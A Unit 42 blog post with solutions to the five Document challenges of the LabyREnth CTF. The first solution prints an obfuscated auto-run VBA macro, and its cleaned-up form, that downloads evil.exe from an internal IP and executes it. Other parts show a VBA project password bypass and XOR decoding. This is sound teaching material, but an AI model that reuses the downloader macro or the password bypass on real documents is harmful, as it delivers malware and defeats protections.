Thanks to the incredibly talented community of threat researchers that participated in LabyREnth, the Unit 42 Capture the Flag (CTF) challenge. Now that the challenge is closed, we can finally reveal the solutions of each challenge track. We’ll be rolling out the solutions for one challenge track per week. First up, the Document track.
Document 1 Challenge: Maaa, why you clickz such macro?
Challenge Created By: Tyler Halfpop @0xtyh
When we open the document, we see this image that is commonly found in a lot of document malware. We also have a prompt on top to enable macros.
If we enable macros and have a tool like FakeNet running, then we get the following output:
This looks interesting, it is trying to download an evil.exe from an RFC 1918 internal IP address 10.1.133.7. We can look at the macros using the macro viewer in Word or by dumping them with a tool like olevba from decalge.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
Private Function QklkhFEQNB(HGKuttPaRM As Variant, UBvkWqzieX As Integer) Dim gsFEVmmIzO, vSHOfSrEta As String, dHLdiEqdts, eUTAbMoUIA vSHOfSrEta = ActiveDocument.Variables("ppKzr").Value() gsFEVmmIzO = "" dHLdiEqdts = 1 While dHLdiEqdts < UBound(HGKuttPaRM) + 2 eUTAbMoUIA = dHLdiEqdts Mod Len(vSHOfSrEta): If eUTAbMoUIA = 0 Then eUTAbMoUIA = Len(vSHOfSrEta) gsFEVmmIzO = gsFEVmmIzO + Chr(Asc(Mid(vSHOfSrEta, eUTAbMoUIA + UBvkWqzieX, 1)) Xor CInt(HGKuttPaRM(dHLdiEqdts - 1))) dHLdiEqdts = dHLdiEqdts + 1 Wend QklkhFEQNB = gsFEVmmIzO End Function Public Function BkAIuNwQNDkohBY() twOvwCSTPL = QklkhFEQNB(Array(5, 5, 27, 65, 89, 98, 85, 86, 71, 75, 66, 92, 95, 98, 67, 64, 89, 83, 84, 95, 26, _ 78, 116, 78, 91, 5, 116, 32, 72, 2, 33, 48, 10, 29, 61, 8, 37, 20, 63, 44, 1, _ 12, 62, 38, 47, 52, 99, 57, 5, 121, 89, 37, 65, 32, 32, 11, 98, 42, 58, 32, 28, _ 9, 3, 117, 85, 4, 57, 10, 94, 0, 16, 8, 28, 42, 30, 121, 71, 6, 8, 9, 37, _ 2, 23, 34, 21, 120, 54, 7, 40, 35, 75, 50, 87, 3, 55, 47, 99, 52, 13, 0, 42, _ 30, 27, 126, 59, 3, 123, 29, 52, 44, 53, 29, 15, 50, 12, 35, 8, 48, 89, 54, 27, _ 62, 28, 8, 36, 49, 119, 104, 14, 5, 64, 34, 43, 22, 71, 5, 46, 7, 66, 42, 0, _ 1, 113, 97, 83, 31, 45, 95, 111, 31, 40, 51), 24) UkIWIEtqCF = QklkhFEQNB(Array(42, 115, 2), 188) Dim xHttp: Set xHttp = CreateObject(QklkhFEQNB(Array(116, 7, 6, 74, 60, 43, 42, 36, 64, 70, 110, 27, 28, 12, 12, 17, 23), 0)) Dim bStrm: Set bStrm = CreateObject(QklkhFEQNB(Array(15, 32, 32, 53, 35, 89, 22, 25, 65, 53, 51, 26), 176)) xHttp.Open UkIWIEtqCF, twOvwCSTPL, False xHttp.Send With bStrm .Type = 1 .Open .write xHttp.responseBody .savetofile QklkhFEQNB(Array(20, 39, 81, 118, 52, 78, 11), 17), 2 End With Shell (QklkhFEQNB(Array(20, 39, 81, 118, 52, 78, 11), 17)) End Function Private Sub Document_Open() If ActiveDocument.Variables("ppKzr").Value <> "toto" Then BkAIuNwQNDkohBY ActiveDocument.Variables("ppKzr").Value = "toto" If ActiveDocument.ReadOnly = False Then ActiveDocument.Save End If End If End Sub |
As we can see, this code has its strings encoded and is obfuscated, and when we clean it up, it’s pretty simple:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
Public Function Beacon() x = "http://10.1.33.7/b64/x58/MDgxOTE2MjMwZTMxMDIzMTNhNjk2YjA3NjgzNjM0MjE2YTJjMzA2ODJiNmIwNzBmMzA2ODA3MTMz\nNjY4MmYwNzJmMzA2YjJhNmI2YTM0Njg2ODMzMjU=/evil.exe" y = "GET" Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP") Dim bStrm: Set bStrm = CreateObject("Adodb.Stream") xHttp.Open y, x, False xHttp.Send With bStrm .Type = 1 .Open .write xHttp.responseBody .savetofile "bad.exe", 2 End With Shell ("bad.exe") End Function |
Now we can see this matches what we saw in FakeNet. It looks like the URL that it’s looking up is in base64. If we decode it, we get:
1 2 |
>>> base64.b64decode("MDgxOTE2MjMwZTMxMDIzMTNhNjk2YjA3NjgzNjM0MjE2YTJjMzA2ODJiNmIwNzBmMzA2ODA3MTMz\nNjY4MmYwNzJmMzA2YjJhNmI2YTM0Njg2ODMzMjU=") '081916230e3102313a696b07683634216a2c30682b6b070f3068071336682f072f306b2a6b6a3468683325' |
This looks like an ascii hex string, but if we convert it to bytes, we don’t get anything interesting. However, the URI also includes another single byte (we assume since it starts with x) of x58. If we try decoding the hex string with that byte, we get the key. Here is an example Python script to print the key from the URI.
1 2 3 4 5 6 7 |
a = “” s = "MDgxOTE2MjMwZTMxMDIzMTNhNjk2YjA3NjgzNjM0MjE2YTJjMzA2ODJiNmIwNzBmMzA2ODA3MTMz\nNjY4MmYwNzJmMzA2YjJhNmI2YTM0Njg2ODMzMjU=".decode('base64') for i, x in zip(s[0::2], s[1::2]): a+=chr(int(str(i+x), 16)^0x58) print a PAN{ViZib13_0nly2th0s3_Wh0_Kn0w_wh3r32l00k} |
Document 2 Challenge: Can you crack doc?
Challenge Created By: Tyler Halfpop @0xtyh
For this challenge, we’re provided a file named “CrackDoc.doc” and when we open it, we’re presented with a ‘UsersForm1’ prompt for ‘Key’ value.
Typing in the wrong key displays a message “U can do. Try harder…” accompanied by a sweet picture of doge.
If we attempt to look at the underlying macros, we can see that the VBProject is password protected.
To circumvent this, we’ll simply load the document up in our favorite hex editor and modify the string ‘DPB=”’ to ‘DPX=”’.
We’ve now corrupted the document so that when we re-open the file and it parses this string, it will find it to be an invalid key. However, it still allows us to load the project, thus bypassing the protection ‘DPB’ provided.
Once inside the project, you can go into the ‘Project Properties’ and uncheck ‘Lock project for viewing’ under the ‘Protection’ tab to remove the password permanently.
Looking at the code, we have a form called ‘UserForm1’ and a module called ‘NewMacros’. If we right click on the form and go to ‘View Code’, we see the underlying macro we’re interested in and immediately see a byte-array for the key.
We can see that if X equals the string of bytes, then we get our win message. The value X is derived from the ‘suchcrypto’ function being passed our input and the IV ‘General Vidal’. The function doesn’t look particularly difficult to reverse.
But I opted to take an even lazier route to beat this challenge. I decided to fight macro with macro. By creating an array of potential values and passing each of them to the ‘suchcrypto’ function, I am able to easily enumerate what the key is and when I find a matching value, move on to the next.
By using the full array and Notepad++, I record a small macro of hitting the up arrow a few times and deleting the last byte, before copying and pasting the result then doing it again. What I’m left with is a long list of ‘For’ loops that I can copy into the ‘UserForm()’ macro.
Starting with:
Ending with:
Now we just hit enter a few times and watch the key unwind itself for us!
PAN{L4$t_Night_@f@iry_Vizited_M3}
Document 3 Challenge: Adobe, pls
Challenge Created By: Curtis Carmony @c1fe
I started out debugging the extracted javascript. I was feeling pretty clever when I found the decoded YouTube URL until Rick Astley started singing that he was never going to give me up. Nice Rick Roll Curtis! I hope it got some of you out there as well.
Next, I went through the different streams in Cerbero profiler and saw the JS tag with hex in the first object.
I put that into a hex editor and then tested the key to complete the challenge.
Document 4 Challenge: Macros are fun.
Challenge Created By: Curtis Carmony @c1fe
For this challenge, we’re provided a file “fun.docm”, with the extension implying that we’ll be having (no)fun with macros!
After opening the document, we’re presented with the text “MORE MACROS = MORE FUN” in large color-changing font with a lovely air-horn sound that plays on repeat. Attempting to open the VB Project reveals that it’s password protected, so we’ll need to bypass this first.
As the new format for Doc files are archives, we’ll open it up in 7z and look for the ‘vbaProject.bin’ file under the ‘\word\’ directory. Open this up in a hex editor and search for the string ‘DPB=”’ then simply change it to something like ‘DPX=”’ and save the file. When you load the file now you’ll receive an error about the project containing an invalid key with an option to continue loading it anyway. Now you’ll be able to access the VB Project and can go into the Project Properties and unselect ‘Lock project for viewing’ to remove the password protection.
Looking at the project, we can see that there are two forms, ‘NpuXrzgq’ and ‘U8pblvDZuAh8Gy’, along with one module ‘Z1yiWeP’. Looking at the code in the main document and the module, it looks like there are a lot of functions so we’ll start by debugging it and get a feel for what it’s trying to do. Putting a ‘Stop’ after the initial ‘Document_Open()’ function starts the process.
Before even getting into the meat of the macro we can see we may have a problem as it’s checking if there are four ‘VBcomponents’ when we only have three. Stepping through the ‘zkceuV405Q5LjUp587OYxTI7OR9zTyPdvz8k’ function, we find this to be the series of events that decode the embedded WAV file and continuously play the air-horn while changing the text in the document.
If we adjust the code so it doesn’t fail the first check, we follow the macro to ‘XiqyXdC809pP5esSrC633ag92w0x6otQylY0’ function, which immediately calls ‘zoycqKJvqznJMeMpHe7Z61xYJfLLmbObxBVy’ and then begins to enumerate the function names.
The function ‘BqNFmKCS7cTPv9XNFOd2mCLrdqCfmdNm6HBz’ begins a process of base-64 decoding the function name and then modifying the byte-values based on various fields of the document.
Both of the functions are one-byte XoR’s, 44 and 32 respectively, which then get compared to the base-64 decoded value of ‘U8pblvDZuAh8GY.Label1.Caption’, which is ‘xRgWTqWr7ipEjFBfESrOiaYFu9i9Jml3Q171’.
Based on this, we can grab all of the function names and quickly determine the match by base64 decoding each and XoR’ing the bytes by 44 and 32.
1 2 3 4 5 6 7 8 9 10 |
>>> a = base64.b64decode("yRQaQqmn4iZIgFxTHSbChaoJt9SxKmV7T1L5") >>> b = base64.b64decode("xRgWTqWr7ipEjFBfESrOiaYFu9i9Jml3Q171") >>> b '\xc5\x18\x16N\xa5\xab\xee*D\x8cP_\x11*\xce\x89\xa6\x05\xbb\xd8\xbd&iwC^\xf5' >>> c = "" >>> for i in a: ... c += chr(ord(i) ^ 44 ^ 32) ... >>> c '\xc5\x18\x16N\xa5\xab\xee*D\x8cP_\x11*\xce\x89\xa6\x05\xbb\xd8\xbd&iwC^\xf5' |
Now that we have our interesting function name, we can force the macro to use this value and continue debugging it.
Back in the ‘XiqyXdC809pP5esSrC633ag92w0x6otQylY0’ function, it will take another function name, ‘d7KRoSK5UEDh35jJNkj0TtcJjOIbmBZlyCql’ and pass it along with our matching name to another function, which base64 decodes ‘d7KRoSK5UEDh35jJNkj0TtcJjOIbmBZlyCql’ into an array before sending us to function ‘XWn5TNdoykQb0QoitVEG7sLOxIRSi97XmqmM’ which has a ‘MsgBox’ call, presumably to print our flag!
Looking at the function we can see there are a few more XoR and comparison checks against property values for the forms within the VBProject.
At this point it XoR’s the ‘d7KRoSK5UEDh35jJNkj0TtcJjOIbmBZlyCql’ function name by 144 and 85, takes the result of that and XoR’s it against the base-64 decoded value of ‘XJCR/DogZt7bduvvusJgAQu6QX9DmtKN+bZB’ to see if they match…which they won’t.
Since we know two parts of the puzzle, we can just work backwards to figure out what the initial second function name should be and go from there. We’ll base-64 decode the ‘XJCR’ string and ‘yRQa’ string, XoR them together, then XoR each resulting byte by 144 and 85.
1 2 3 4 5 6 7 8 |
>>> a = base64.b64decode("yRQaQqmn4iZIgFxTHSbChaoJt9SxKmV7T1L5") >>> b = base64.b64decode("XJCR/DogZt7bduvvusJgAQu6QX9DmtKN+bZB") >>> c = "" >>> for index,value in enumerate(a): ... c += chr((ord(value) ^ ord(b[index])) ^ 144 ^ 85) ... >>> c 'PAN{VBA=V3ryb!gAdv3n7ur3s!}' |
Document 5 Challenge: EXCEL.EXE not just CALC.EXE
Challenge Created By: Curtis Carmony @c1fe
We are given an Excel document that has a Crackme. When we try to test a key, a cheeky popup appears, tells us we are wrong, closes Excel, and launches calc.exe.
When we open the document back up and look at the macros there is only one very simple macro to close the document, so there are definitely some shenanigans.
1 2 3 4 5 |
Sub excelulate() Application.Quit End Sub |
If we right click on the sheets on the bottom and click unhide there is a secret hidden sheet.
If we go to the secret sheet, click “Show Formulas” and make the font black then we can see there are Excel functions in the cells. There is one cell that looks interesting at A14 that is referring to a super secret sheet that we cannot see.
I modified the macro to try and make all of the sheets visible and clicked the button.
1 2 3 4 5 6 |
Sub excelulate() Dim x As Worksheet For Each x In Sheets x.Visible = True Next End Sub |
We can now see a super secret sheet with more formulas. It is pretty amazing that there can be hidden and then super hidden sheets in Excel.
If we remove uncheck “Show Formulas” and remove everything from F13 besides the concatenate function, Excel will print the formula for us.
=CONCATENATE(D7,A5,C5,B4,E20,B6,A8,B8,A12,B10,E10,C9,B13,D12,C11,B16,A25,A18,B19,C20,B21,B2,D23,B24,E4,B26,D16,A21,C14,A16)
If we enter that key into the original file we get the winning message and find that we are the EXCELULATOR! It is pretty amazing all the things you can do with Excel.
Leave a comment below to share your thoughts about these challenges. Be sure to also check out how other threat researchers solved these challenges:
Document 1 Challenge
- https://dbheise.github.io/2016/08/15/2016-Palo-Alto-Labyrenth-CTF-Doc-01/
- https://github.com/uafio/git/blob/master/scripts/labyREnth-2016/labyrenth-2016-docs-1.py
Document 2 Challenge
- https://dbheise.github.io/2016/08/15/2016-Palo-Alto-Labyrenth-CTF-Doc-02/
- https://github.com/uafio/git/blob/master/scripts/labyREnth-2016/labyrenth-2016-docs-2.py
Document 3 Challenge
- https://dbheise.github.io/2016/08/15/2016-Palo-Alto-Labyrenth-CTF-Doc-03/
- https://github.com/uafio/git/blob/master/scripts/labyREnth-2016/labyrenth-2016-docs-3.txt
Document 4 Challenge
- https://dbheise.github.io/2016/08/15/2016-Palo-Alto-Labyrenth-CTF-Doc-04/
- https://github.com/uafio/git/blob/master/scripts/labyREnth-2016/labyrenth-2016-docs-4.py
Document 5 Challenge
- https://dbheise.github.io/2016/08/15/2016-Palo-Alto-Labyrenth-CTF-Doc-05/
- https://github.com/uafio/git/blob/master/scripts/labyREnth-2016/labyrenth-2016-docs-5.txt